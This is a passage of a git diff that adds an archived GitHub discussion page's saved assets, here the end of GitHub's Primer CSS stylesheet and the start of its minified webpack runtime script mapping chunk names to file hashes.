tt{display:inline;max-width:auto;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:transparent;border:0}.markdown-body .csv-data td,.markdown-body .csv-data th{padding:5px;overflow:hidden;font-size:12px;line-height:1;text-align:left;white-space:nowrap}.markdown-body .csv-data .blob-num{padding:10px 8px 9px;text-align:right;background:var(--color-canvas-default);border:0}.markdown-body .csv-data tr{border-top:0}.markdown-body .csv-data th{font-weight:600;background:var(--color-canvas-subtle);border-top:0}.markdown-body [data-footnote-ref]::before{content:"["}.markdown-body [data-footnote-ref]::after{content:"]"}.markdown-body .footnotes{font-size:12px;color:var(--color-fg-muted);border-top:1px solid var(--color-border-default)}.markdown-body .footnotes ol{padding-left:16px}.markdown-body .footnotes li{position:relative}.markdown-body .footnotes li:target::before{position:absolute;top:-8px;right:-8px;bottom:-8px;left:-24px;pointer-events:none;content:"";border:2px solid var(--color-accent-emphasis);border-radius:6px}.markdown-body .footnotes li:target{color:var(--color-fg-default)}.markdown-body .footnotes .data-footnote-backref g-emoji{font-family:monospace}.Popover{position:absolute;z-index:100}.Popover-message{position:relative;width:232px;margin-right:auto;margin-left:auto;background-color:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px}.Popover-message::before,.Popover-message::after{position:absolute;left:50%;display:inline-block;content:""}.Popover-message::before{top:-16px;margin-left:-9px;border:8px solid transparent;border-bottom-color:var(--color-border-default)}.Popover-message::after{top:-14px;margin-left:-8px;border:7px solid transparent;border-bottom-color:var(--color-canvas-overlay)}.Popover-message--no-caret::before,.Popover-message--no-caret::after{display:none}.Popover-message--bottom::before,.Popover-message--bottom::after,.Popover-message--bottom-right::before,.Popover-message--bottom-right::after,.Popover-message--bottom-left::before,.Popover-message--bottom-left::after{top:auto;border-bottom-color:transparent}.Popover-message--bottom::before,.Popover-message--bottom-right::before,.Popover-message--bottom-left::before{bottom:-16px;border-top-color:var(--color-border-default)}.Popover-message--bottom::after,.Popover-message--bottom-right::after,.Popover-message--bottom-left::after{bottom:-14px;border-top-color:var(--color-canvas-overlay)}.Popover-message--top-right,.Popover-message--bottom-right{right:-9px;margin-right:0}.Popover-message--top-right::before,.Popover-message--top-right::after,.Popover-message--bottom-right::before,.Popover-message--bottom-right::after{left:auto;margin-left:0}.Popover-message--top-right::before,.Popover-message--bottom-right::before{right:20px}.Popover-message--top-right::after,.Popover-message--bottom-right::after{right:21px}.Popover-message--top-left,.Popover-message--bottom-left{left:-9px;margin-left:0}.Popover-message--top-left::before,.Popover-message--top-left::after,.Popover-message--bottom-left::before,.Popover-message--bottom-left::after{left:24px;margin-left:0}.Popover-message--top-left::after,.Popover-message--bottom-left::after{left:25px}.Popover-message--right::before,.Popover-message--right::after,.Popover-message--right-top::before,.Popover-message--right-top::after,.Popover-message--right-bottom::before,.Popover-message--right-bottom::after,.Popover-message--left::before,.Popover-message--left::after,.Popover-message--left-top::before,.Popover-message--left-top::after,.Popover-message--left-bottom::before,.Popover-message--left-bottom::after{top:50%;left:auto;margin-left:0;border-bottom-color:transparent}.Popover-message--right::before,.Popover-message--right-top::before,.Popover-message--right-bottom::before,.Popover-message--left::before,.Popover-message--left-top::before,.Popover-message--left-bottom::before{margin-top:-9px}.Popover-message--right::after,.Popover-message--right-top::after,.Popover-message--right-bottom::after,.Popover-message--left::after,.Popover-message--left-top::after,.Popover-message--left-bottom::after{margin-top:-8px}.Popover-message--right::before,.Popover-message--right-top::before,.Popover-message--right-bottom::before{right:-16px;border-left-color:var(--color-border-default)}.Popover-message--right::after,.Popover-message--right-top::after,.Popover-message--right-bottom::after{right:-14px;border-left-color:var(--color-canvas-overlay)}.Popover-message--left::before,.Popover-message--left-top::before,.Popover-message--left-bottom::before{left:-16px;border-right-color:var(--color-border-default)}.Popover-message--left::after,.Popover-message--left-top::after,.Popover-message--left-bottom::after{left:-14px;border-right-color:var(--color-canvas-overlay)}.Popover-message--right-top::before,.Popover-message--right-top::after,.Popover-message--left-top::before,.Popover-message--left-top::after{top:24px}.Popover-message--right-bottom::before,.Popover-message--right-bottom::after,.Popover-message--left-bottom::before,.Popover-message--left-bottom::after{top:auto}.Popover-message--right-bottom::before,.Popover-message--left-bottom::before{bottom:16px}.Popover-message--right-bottom::after,.Popover-message--left-bottom::after{bottom:17px}@media(min-width: 544px){.Popover-message--large{min-width:320px}}@media(max-width: 767.98px){.Popover{position:fixed;top:auto !important;right:0 !important;bottom:0 !important;left:0 !important}.Popover-message{top:auto;right:auto;bottom:auto;left:auto;width:auto !important;margin:8px}.Popover-message>.btn-octicon{padding:12px !important}.Popover-message::after,.Popover-message::before{display:none}}.Progress{display:flex;height:8px;overflow:hidden;background-color:var(--color-neutral-muted);border-radius:6px;outline:1px solid transparent}.Progress--large{height:10px}.Progress--small{height:5px}.Progress-item{outline:2px solid transparent}.Progress-item+.Progress-item{margin-left:2px}.SelectMenu{position:fixed;top:0;right:0;bottom:0;left:0;z-index:99;display:flex;padding:16px;pointer-events:none;flex-direction:column}@media(min-width: 544px){.SelectMenu{position:absolute;top:auto;right:auto;bottom:auto;left:auto;padding:0}}.SelectMenu::before{position:absolute;top:0;right:0;bottom:0;left:0;pointer-events:none;content:"";background-color:var(--color-primer-canvas-backdrop)}@media(min-width: 544px){.SelectMenu::before{display:none}}.SelectMenu-modal{position:relative;z-index:99;display:flex;max-height:66%;margin:auto 0;overflow:hidden;pointer-events:auto;flex-direction:column;background-color:var(--color-canvas-overlay);border:1px solid var(--color-select-menu-backdrop-border);border-radius:12px;box-shadow:var(--color-shadow-large);animation:SelectMenu-modal-animation .12s cubic-bezier(0, 0.1, 0.1, 1) backwards}@keyframes SelectMenu-modal-animation{0%{opacity:0;transform:scale(0.9)}}@keyframes SelectMenu-modal-animation--sm{0%{opacity:0;transform:translateY(-16px)}}@media(min-width: 544px){.SelectMenu-modal{width:300px;height:auto;max-height:480px;margin:8px 0 16px 0;font-size:12px;border-color:var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large);animation-name:SelectMenu-modal-animation--sm}}.SelectMenu-header{display:flex;padding:16px;flex:none;align-items:center;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-header{padding:7px 7px 7px 16px}}.SelectMenu-title{flex:1;font-size:14px;font-weight:600}@media(min-width: 544px){.SelectMenu-title{font-size:inherit}}.SelectMenu-closeButton{padding:16px;margin:-16px;line-height:1;color:var(--color-fg-muted);background-color:transparent;border:0}@media(min-width: 544px){.SelectMenu-closeButton{padding:8px;margin:-8px -7px}}.SelectMenu-filter{padding:16px;margin:0;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-filter{padding:8px}}.SelectMenu-input{display:block;width:100%}@media(min-width: 544px){.SelectMenu-input{font-size:14px}}.SelectMenu-list{position:relative;padding:0;margin:0;margin-bottom:-1px;flex:auto;overflow-x:hidden;overflow-y:auto;background-color:var(--color-canvas-overlay);-webkit-overflow-scrolling:touch}.SelectMenu-item{display:flex;align-items:center;width:100%;padding:16px;overflow:hidden;color:var(--color-fg-default);text-align:left;cursor:pointer;background-color:var(--color-canvas-overlay);border:0;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-item{padding-top:7px;padding-bottom:7px}}.SelectMenu-list--borderless .SelectMenu-item{border-bottom:0}.SelectMenu-icon{width:16px;margin-right:8px;flex-shrink:0}.SelectMenu-icon--check{visibility:hidden;transition:transform .12s cubic-bezier(0.5, 0.1, 1, 0.5),visibility 0s .12s linear;transform:scale(0)}.SelectMenu-tabs{display:flex;flex-shrink:0;overflow-x:auto;overflow-y:hidden;box-shadow:inset 0 -1px 0 var(--color-border-muted);-webkit-overflow-scrolling:touch}.SelectMenu-tabs::-webkit-scrollbar{display:none}@media(min-width: 544px){.SelectMenu-tabs{padding:8px 8px 0 8px}}.SelectMenu-tab{flex:1;padding:8px 16px;font-size:12px;font-weight:500;color:var(--color-fg-muted);text-align:center;background-color:transparent;border:0;box-shadow:inset 0 -1px 0 var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-tab{flex:none;padding:4px 16px;border:1px solid transparent;border-bottom-width:0;border-top-left-radius:6px;border-top-right-radius:6px}}.SelectMenu-tab[aria-selected=true]{z-index:1;color:var(--color-fg-default);cursor:default;background-color:var(--color-canvas-overlay);box-shadow:0 0 0 1px var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-tab[aria-selected=true]{border-color:var(--color-border-muted);box-shadow:none}}.SelectMenu-message{padding:7px 16px;text-align:center;background-color:var(--color-canvas-overlay);border-bottom:1px solid var(--color-border-muted)}.SelectMenu-blankslate,.SelectMenu-loading{padding:24px 16px;text-align:center;background-color:var(--color-canvas-overlay)}.SelectMenu-divider{padding:4px 16px;margin:0;font-size:12px;font-weight:500;color:var(--color-fg-muted);background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.SelectMenu-list--borderless .SelectMenu-divider{border-top:1px solid var(--color-border-muted)}.SelectMenu-list--borderless .SelectMenu-divider:empty{padding:0;border-top:0}.SelectMenu-footer{z-index:0;padding:8px 16px;font-size:12px;color:var(--color-fg-muted);text-align:center;border-top:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-footer{padding:7px 16px}}.SelectMenu--hasFilter .SelectMenu-modal{height:80%;max-height:none;margin-top:0}@media(min-width: 544px){.SelectMenu--hasFilter .SelectMenu-modal{height:auto;max-height:480px;margin-top:8px}}.SelectMenu-closeButton:focus,.SelectMenu-tab:focus,.SelectMenu-item:focus{outline:0}.SelectMenu-item:hover{text-decoration:none}.SelectMenu-item[aria-checked=true]{font-weight:500;color:var(--color-fg-default)}.SelectMenu-item[aria-checked=true] .SelectMenu-icon--check{visibility:visible;transition:transform .12s cubic-bezier(0, 0, 0.2, 1),visibility 0s linear;transform:scale(1)}.SelectMenu-item:disabled,.SelectMenu-item[aria-disabled=true]{color:var(--color-primer-fg-disabled);pointer-events:none}@media(hover: hover){body:not(.intent-mouse) .SelectMenu-closeButton:focus,.SelectMenu-closeButton:hover{color:var(--color-fg-default)}.SelectMenu-closeButton:active{color:var(--color-fg-muted)}body:not(.intent-mouse) .SelectMenu-item:focus,.SelectMenu-item:hover{background-color:var(--color-neutral-subtle)}.SelectMenu-item:active{background-color:var(--color-canvas-subtle)}body:not(.intent-mouse) .SelectMenu-tab:focus{background-color:var(--color-select-menu-tap-focus-bg)}.SelectMenu-tab:hover{color:var(--color-fg-default)}.SelectMenu-tab:not([aria-selected=true]):active{color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}}@media(hover: none){.SelectMenu-item:focus,.SelectMenu-item:active{background-color:var(--color-canvas-subtle)}.SelectMenu-item{-webkit-tap-highlight-color:var(--color-select-menu-tap-highlight)}}.Subhead{display:flex;padding-bottom:8px;margin-bottom:16px;border-bottom:1px solid var(--color-border-muted);flex-flow:row wrap;justify-content:flex-end}.Subhead--spacious{margin-top:40px}.Subhead-heading{font-size:24px;font-weight:400;flex:1 1 auto;order:0}.Subhead-heading--danger{font-weight:600;color:var(--color-danger-fg)}.Subhead-description{font-size:14px;color:var(--color-fg-muted);flex:1 100%;order:2}.Subhead-actions{margin:4px 0 4px 4px;align-self:center;justify-content:flex-end;order:1}.Subhead-actions+.Subhead-description{margin-top:4px}.TimelineItem{position:relative;display:flex;padding:16px 0;margin-left:16px}.TimelineItem::before{position:absolute;top:0;bottom:0;left:0;display:block;width:2px;content:"";background-color:var(--color-border-muted)}.TimelineItem:target .TimelineItem-badge{border-color:var(--color-accent-emphasis);box-shadow:0 0 .2em var(--color-accent-muted)}.TimelineItem-badge{position:relative;z-index:1;display:flex;width:32px;height:32px;margin-right:8px;margin-left:-15px;color:var(--color-fg-muted);align-items:center;background-color:var(--color-timeline-badge-bg);border:2px solid var(--color-canvas-default);border-radius:50%;justify-content:center;flex-shrink:0}.TimelineItem-badge--success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent}.TimelineItem-body{min-width:0;max-width:100%;margin-top:4px;color:var(--color-fg-muted);flex:auto}.TimelineItem-avatar{position:absolute;left:-72px;z-index:1}.TimelineItem-break{position:relative;z-index:1;height:24px;margin:0;margin-bottom:-16px;margin-left:-56px;background-color:var(--color-canvas-default);border:0;border-top:4px solid var(--color-border-default)}.TimelineItem--condensed{padding-top:4px;padding-bottom:0}.TimelineItem--condensed:last-child{padding-bottom:16px}.TimelineItem--condensed .TimelineItem-badge{height:16px;margin-top:8px;margin-bottom:8px;color:var(--color-fg-muted);background-color:var(--color-canvas-default);border:0}.Toast{display:flex;margin:8px;color:var(--color-fg-default);background-color:var(--color-canvas-default);border-radius:6px;box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}@media(min-width: 544px){.Toast{width:max-content;max-width:450px;margin:16px}}.Toast-icon{display:flex;align-items:center;justify-content:center;width:48px;flex-shrink:0;color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border:1px solid transparent;border-right:0;border-top-left-radius:inherit;border-bottom-left-radius:inherit}.Toast-content{padding:16px}.Toast-dismissButton{max-height:54px;padding:16px;color:inherit;background-color:transparent;border:0}.Toast-dismissButton:hover{opacity:.7}.Toast-dismissButton:active{opacity:.5}.Toast--loading{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--loading .Toast-icon{background-color:var(--color-neutral-emphasis)}.Toast--error{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--error .Toast-icon{background-color:var(--color-danger-emphasis)}.Toast--warning{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--warning .Toast-icon{background-color:var(--color-attention-emphasis)}.Toast--success{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--success .Toast-icon{background-color:var(--color-success-emphasis)}.Toast--animateIn{animation:Toast--animateIn .18s cubic-bezier(0.22, 0.61, 0.36, 1) backwards}@keyframes Toast--animateIn{0%{opacity:0;transform:translateY(100%)}}.Toast--animateOut{animation:Toast--animateOut .18s cubic-bezier(0.55, 0.06, 0.68, 0.19) forwards}@keyframes Toast--animateOut{100%{pointer-events:none;opacity:0;transform:translateY(100%)}}.Toast--spinner{animation:Toast--spinner 1000ms linear infinite}@keyframes Toast--spinner{from{transform:rotate(0deg)}to{transform:rotate(360deg)}}.ToggleSwitch.ToggleSwitch{display:inline-flex}.ToggleSwitch{align-items:center;display:inline-flex;gap:8px}.ToggleSwitch:hover .ToggleSwitch-knob{background-color:var(--color-btn-hover-bg)}.ToggleSwitch:active .ToggleSwitch-knob{background-color:var(--color-btn-active-bg)}.ToggleSwitch--checked .ToggleSwitch-statusOn{height:auto;visibility:visible}.ToggleSwitch--checked .ToggleSwitch-statusOff{height:0;visibility:hidden}.ToggleSwitch-track{position:relative;display:block;width:64px;height:32px;padding:0;overflow:hidden;text-decoration:none;cursor:pointer;-webkit-user-select:none;user-select:none;background-color:var(--color-switch-track-bg);border:1px solid var(--color-switch-track-border);border-radius:6px;transition-timing-function:cubic-bezier(0.5, 1, 0.89, 1);transition-duration:80ms;transition-property:background-color,border-color;-webkit-appearance:none;appearance:none}.ToggleSwitch-track:focus,.ToggleSwitch-track:focus-visible{outline-offset:0}@media(pointer: coarse){.ToggleSwitch-track::before{position:absolute;top:50%;left:50%;width:100%;height:100%;min-height:44px;content:"";transform:translateX(-50%) translateY(-50%)}}@media(prefers-reduced-motion){.ToggleSwitch-track{transition:none}.ToggleSwitch-track *{transition:none}}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]{background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:hover,.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:active{background-color:var(--color-canvas-subtle)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:hover .ToggleSwitch-knob,.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:active .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-disabled-bg)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true] .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-disabled-bg)}.ToggleSwitch-track[aria-checked=true]{background-color:var(--color-switch-track-checked-bg);border-color:var(--color-switch-track-checked-border)}.ToggleSwitch-track[aria-checked=true]:hover{background-color:var(--color-switch-track-checked-hover-bg)}.ToggleSwitch-track[aria-checked=true]:active{background-color:var(--color-switch-track-checked-active-bg)}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-bg);border:0;transform:translateX(calc(100% + 1px))}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-lineIcon{transform:translateX(0%)}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-circleIcon{transform:translateX(100%)}.ToggleSwitch-track[aria-disabled=true]{cursor:not-allowed;background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle);transition-property:none}.ToggleSwitch-track[aria-disabled=true]:hover .ToggleSwitch-knob,.ToggleSwitch-track[aria-disabled=true]:active .ToggleSwitch-knob{background-color:var(--color-btn-bg)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob{border-color:var(--color-border-default);box-shadow:none}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob:hover,.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob:active{background-color:var(--color-btn-bg)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-lineIcon{color:var(--color-fg-subtle)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-circleIcon{color:var(--color-fg-subtle)}.ToggleSwitch-icons{display:flex;align-items:center;width:100%;height:100%;overflow:hidden}.ToggleSwitch-lineIcon{line-height:0;color:var(--color-accent-fg);transition-duration:80ms;transition-property:transform;transform:translateX(-100%);flex:1 0 50%}.ToggleSwitch-circleIcon{line-height:0;color:var(--color-fg-default);transition-duration:80ms;transition-property:transform;transform:translateX(0);flex:1 0 50%}.ToggleSwitch-knob{position:absolute;top:-1px;bottom:-1px;z-index:1;width:50%;background-color:var(--color-btn-bg);border:1px solid var(--color-switch-track-border);border-radius:6px;box-shadow:var(--color-shadow-medium),var(--color-btn-inset-shadow);transition-timing-function:cubic-bezier(0.5, 1, 0.89, 1);transition-duration:80ms;transition-property:transform;transform:translateX(-1px)}@media(prefers-reduced-motion){.ToggleSwitch-knob{transition:none}}.ToggleSwitch-status{position:relative;font-size:14px;line-height:1.5;color:var(--color-fg-default);text-align:right}.ToggleSwitch--small .ToggleSwitch-status{font-size:12px}.ToggleSwitch--small .ToggleSwitch-track{width:48px;height:24px}.ToggleSwitch--disabled .ToggleSwitch-status{color:var(--color-fg-muted)}.ToggleSwitch-statusOn{height:0;visibility:hidden}.ToggleSwitch-statusOff{height:auto;visibility:visible}.ToggleSwitch--statusAtEnd{flex-direction:row-reverse}.ToggleSwitch--statusAtEnd .ToggleSwitch-status{text-align:left} + +/*# sourceMappingURL=primer-048cfb03804d.css.map*/ \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js new file mode 100644 index 0000000..3c9544b --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js @@ -0,0 +1,4 @@ +(()=>{var S=Object.defineProperty;var u=(g,b)=>S(g,"name",{value:b,configurable:!0});(()=>{"use strict";var g={},b={};function t(e){var o=b[e];if(o!==void 0)return o.exports;var _=b[e]={id:e,loaded:!1,exports:{}};return g[e].call(_.exports,_,_.exports,t),_.loaded=!0,_.exports}u(t,"__webpack_require__"),t.m=g,(()=>{var e=[];t.O=(o,_,a,n)=>{if(_){n=n||0;for(var s=e.length;s>0&&e[s-1][2]>n;s--)e[s]=e[s-1];e[s]=[_,a,n];return}for(var p=1/0,s=0;s=n)&&Object.keys(t.O).every(H=>t.O[H](_[i]))?_.splice(i--,1):(r=!1,n{var o=e&&e.__esModule?()=>e.default:()=>e;return t.d(o,{a:o}),o},(()=>{var e=Object.getPrototypeOf?_=>Object.getPrototypeOf(_):_=>_.__proto__,o;t.t=function(_,a){if(a&1&&(_=this(_)),a&8||typeof _=="object"&&_&&(a&4&&_.__esModule||a&16&&typeof _.then=="function"))return _;var n=Object.create(null);t.r(n);var s={};o=o||[null,e({}),e([]),e(e)];for(var p=a&2&&_;typeof p=="object"&&!~o.indexOf(p);p=e(p))Object.getOwnPropertyNames(p).forEach(r=>s[r]=()=>_[r]);return s.default=()=>_,t.d(n,s),n}})(),t.d=(e,o)=>{for(var _ in o)t.o(o,_)&&!t.o(e,_)&&Object.defineProperty(e,_,{enumerable:!0,get:o[_]})},t.f={},t.e=e=>Promise.all(Object.keys(t.f).reduce((o,_)=>(t.f[_](e,o),o),[])),t.u=e=>e==="vendors-node_modules_selector-observer_dist_index_esm_js"?""+e+"-8a8fb532f817.js":e==="vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js"?""+e+"-c86dedecba6d.js":e==="vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"?""+e+"-3878570f122b.js":e==="app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"?""+e+"-b9402c4f55ed.js":e==="vendors-node_modules_lit-html_lit-html_js"?""+e+"-ba8ef7c9465c.js":e==="vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js"?""+e+"-338b7b65f61e.js":e==="vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"?""+e+"-12cdb93781b2.js":e==="vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"?""+e+"-d2bd677ffadf.js":e==="app_assets_modules_github_behaviors_pjax_ts"?""+e+"-9f84f27e2e5c.js":e==="vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"?""+e+"-e5871d6341d9.js":e==="vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"?""+e+"-c50ba3159c37.js":e==="vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"?""+e+"-316d55757fd3.js":e==="vendors-node_modules_codemirror_lib_codemirror_js"?""+e+"-0e675a3cbbdb.js":e==="vendors-node_modules_three_build_three_module_js"?""+e+"-d26576a099b1.js":e==="vendors-node_modules_dompurify_dist_purify_js"?""+e+"-0677fca37991.js":"chunk-"+e+"-"+{"vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js":"ffef934f6d1e","vendors-node_modules_blakejs_index_js-node_modules_tweetnacl_nacl-fast_js":"20ded1c3f9b2","_empty-file_js-app_assets_modules_github_tweetsodium_ts":"570800e4a58c","app_assets_modules_github_jump-to_ts":"9bb6962425bc","app_assets_modules_github_user-status-submit_ts":"b84397a4ac61","vendors-node_modules_github_blackbird-parser_dist_blackbird_js":"edcc67677b51","app_components_search_parsing_parsing_ts-_b3651":"aa493d973ae3","app_assets_modules_github_sortable-behavior_ts":"cd5461703766","app_components_accessibility_animated-image-element_ts":"94f17dc1685d","app_components_account_verifications_launch-code-element_ts":"d0fd2937b212","app_components_advisories_metric-selection-element_ts":"4daf4af581d1","app_components_advisories_severity-calculator-element_ts":"420add2d60b0","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52":"27a93e9feadc","app_components_branch_create-branch-element_ts":"47c73f958638","app_components_code_scanning_alert-dismissal-details-element_ts":"bfe6b385324e","app_components_codespaces_advanced_options_sku-list-element_ts":"ceaa5115fdcc","app_components_codespaces_create-button-element_ts":"d1ca5c6d0c0b","app_components_command_palette_command-palette-page-element_ts":"529a5c0079af","app_components_command_palette_command-palette-page-stack-element_ts":"51f9b6fbafdf","app_components_diffs_deferred-diff-lines-element_ts":"74cc226b15d7","app_components_files_readme-toc-element_ts":"1e5835991a94","app_components_github_delayed-loading-element_ts":"f1de276bb7aa","app_components_github_feature-callout-element_ts":"2e2e8020e6ac","app_components_issues_reopen-button-element_ts":"8528a7c35aa7","app_components_mathjax_math-renderer-element_ts":"b9b794ce9879","app_components_organizations_settings_codespaces_policy_form_constraint_row_max-value-element_ts":"d970b5ecb0bb","app_components_organizations_settings_codespaces-policy-form-element_ts":"1e572db4e753","app_components_organizations_settings_features_insights-form-element_ts":"fb80816ea539","app_components_primer_action_list_action-list-element_ts":"79601d8e2624","app_components_primer_action_menu_action-menu-element_ts":"c2ea03248767","app_components_primer_experimental_toggle-switch-element_ts":"bc0f9dc31330","app_components_primer_modal_dialog_iterate-focusable-elements_ts":"c9e90cad64bc","app_components_primer_modal_dialog_modal-dialog-element_ts":"191000849018","app_components_pull_requests_file_tree_file-filter-element_ts":"832274f35bf2","app_components_pull_requests_file_tree_file-tree-element_ts":"f3152f4f0a04","app_components_pull_requests_file_tree_file-tree-toggle-element_ts":"ef3d053b90c4","app_components_repos_alerts_dependabot-alert-row-element_ts":"4b2c2c17a666","app_components_repos_alerts_dependabot-alert-table-header-element_ts":"7a8a0e5e816e","app_components_repositories_memex_memex-project-picker-element_ts":"53ed3ef415f5","app_components_repositories_pin-organization-repo-element_ts":"8169732f40ca",app_components_search_parsing_common_ts:"669dbaaac99c","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-d30067":"10d0e2f3411a","app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c":"2e9a9b96b433","app_components_search_search-input-element_ts":"c662cde7b457",app_components_search_suggestions_blackbird_ts:"9d3f0b9a1660","app_components_search_suggestions_custom-scopes_ts":"df25852e3ad8",app_components_search_suggestions_default_ts:"1e7083750a58","app_components_search_suggestions_fixed-qualifiers_ts":"f3da35af54f7",app_components_search_suggestions_history_ts:"5b7778d3b8d2",app_components_search_suggestions_languages_ts:"f8f91a6927a5","node_modules_delegated-events_dist_index_js":"a5f42cedc533",app_components_search_suggestions_suggestions_ts:"07b36587481e",app_components_search_suggestions_types_ts:"916e3d8c45b4","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e":"625e7dd04142","app_components_sidebar_project-picker-element_ts":"a7445ee5bcf3","app_components_slash_commands_slash-command-toolbar-button-element_ts":"447765607cc3","vendors-node_modules_chart_js_dist_chart_esm_js":"6cff96b2b76c","app_components_sponsors_orgs_premium_dashboard_monthly-spend-graph-element_ts":"5b02ffbbc782","app_components_stafftools_turbo_turbo-staffbar-element_ts":"22fa02e1f021","app_components_stafftools_turbo_turbo-staffbar-preview-element_ts":"302a5111f0a7","app_components_themed_pictures_themed-picture-element_ts":"9f2cc0c8b0fc","app_components_tracking_blocks_tracking-block-api_ts":"d2edfcc3fd5a","app_components_tracking_blocks_tracking-block-element_ts":"1bf94db855a2","app_components_tracking_blocks_tracking-block-omnibar-element_ts":"f776363d9b1c","app_assets_modules_github_profile_profile-pins-element_ts":"3f9eaf9c1f60","app_assets_modules_github_emoji-picker-element_ts":"5eb690ad8ba2","app_assets_modules_github_behaviors_edit-hook-secret-element_ts":"5517e7abe783","app_assets_modules_github_insights_insights-query_ts":"1d49b290a0a9","app_assets_modules_github_behaviors_remote-clipboard-copy_ts":"5ec315b1456a","app_assets_modules_github_insights_series-table_ts":"88c40e967d3d","vendors-node_modules_github_base-chart-element_dist_base-chart_js":"527a851d4dfc","app_assets_modules_github_insights_line-chart_ts":"ea9f86c8b7ce","app_assets_modules_github_insights_bar-chart_ts":"79b8bed29df1","app_assets_modules_github_insights_column-chart_ts":"5086ae8267a3","app_assets_modules_github_insights_stacked-area-chart_ts":"f2b10cc42f1b","app_assets_modules_github_presence_presence-avatars_ts":"68eea861e2bd","app_assets_modules_github_graphs_pulse-authors-graph-element_ts":"555a0a12a2af","app_assets_modules_github_stacks_stacks-input-config-view_ts":"52b337e4e085","app_assets_modules_github_graphs_community-contributions_ts":"d1497b6d575f","app_assets_modules_github_graphs_discussion-page-views_ts":"b7b14d0a8e16","app_assets_modules_github_graphs_discussions-daily-contributors_ts":"ae3978791f6f","app_assets_modules_github_graphs_discussions-new-contributors_ts":"b53affc543a7","app_assets_modules_github_graphs_code-frequency-graph-element_ts":"bb79cb796c54","vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js":"cb8dab829171","vendors-node_modules_d3-array_src_descending_js-node_modules_d3-brush_src_index_js-node_modul-a5b158":"b1f74f8aa268","app_assets_modules_github_graphs_contributors-graph-element_ts":"618c49878ee2","vendors-node_modules_d3-array_src_bisector_js-node_modules_d3-selection_src_pointer_js-node_m-1e8834":"b4d52f496960","app_assets_modules_github_graphs_org-insights-graph-element_ts":"ffb02396dbf4","app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25":"9d80281b1f30","app_assets_modules_github_graphs_traffic-clones-graph-element_ts":"cd2424a12f84","app_assets_modules_github_graphs_traffic-visitors-graph-element_ts":"0d5b216bec91","app_assets_modules_github_graphs_commit-activity-graph-element_ts":"1c205baacb3b","app_assets_modules_github_graphs_marketplace-insights-graph-element_ts":"6e57a35fbc19","vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d":"1bf929bb3d58","app_assets_modules_github_settings_user-sessions-map-element_ts":"38e2fd1a876f","app_assets_modules_github_behaviors_reload-after-polling-element_ts":"0383e1293fe8","app_assets_modules_github_graphs_package-dependen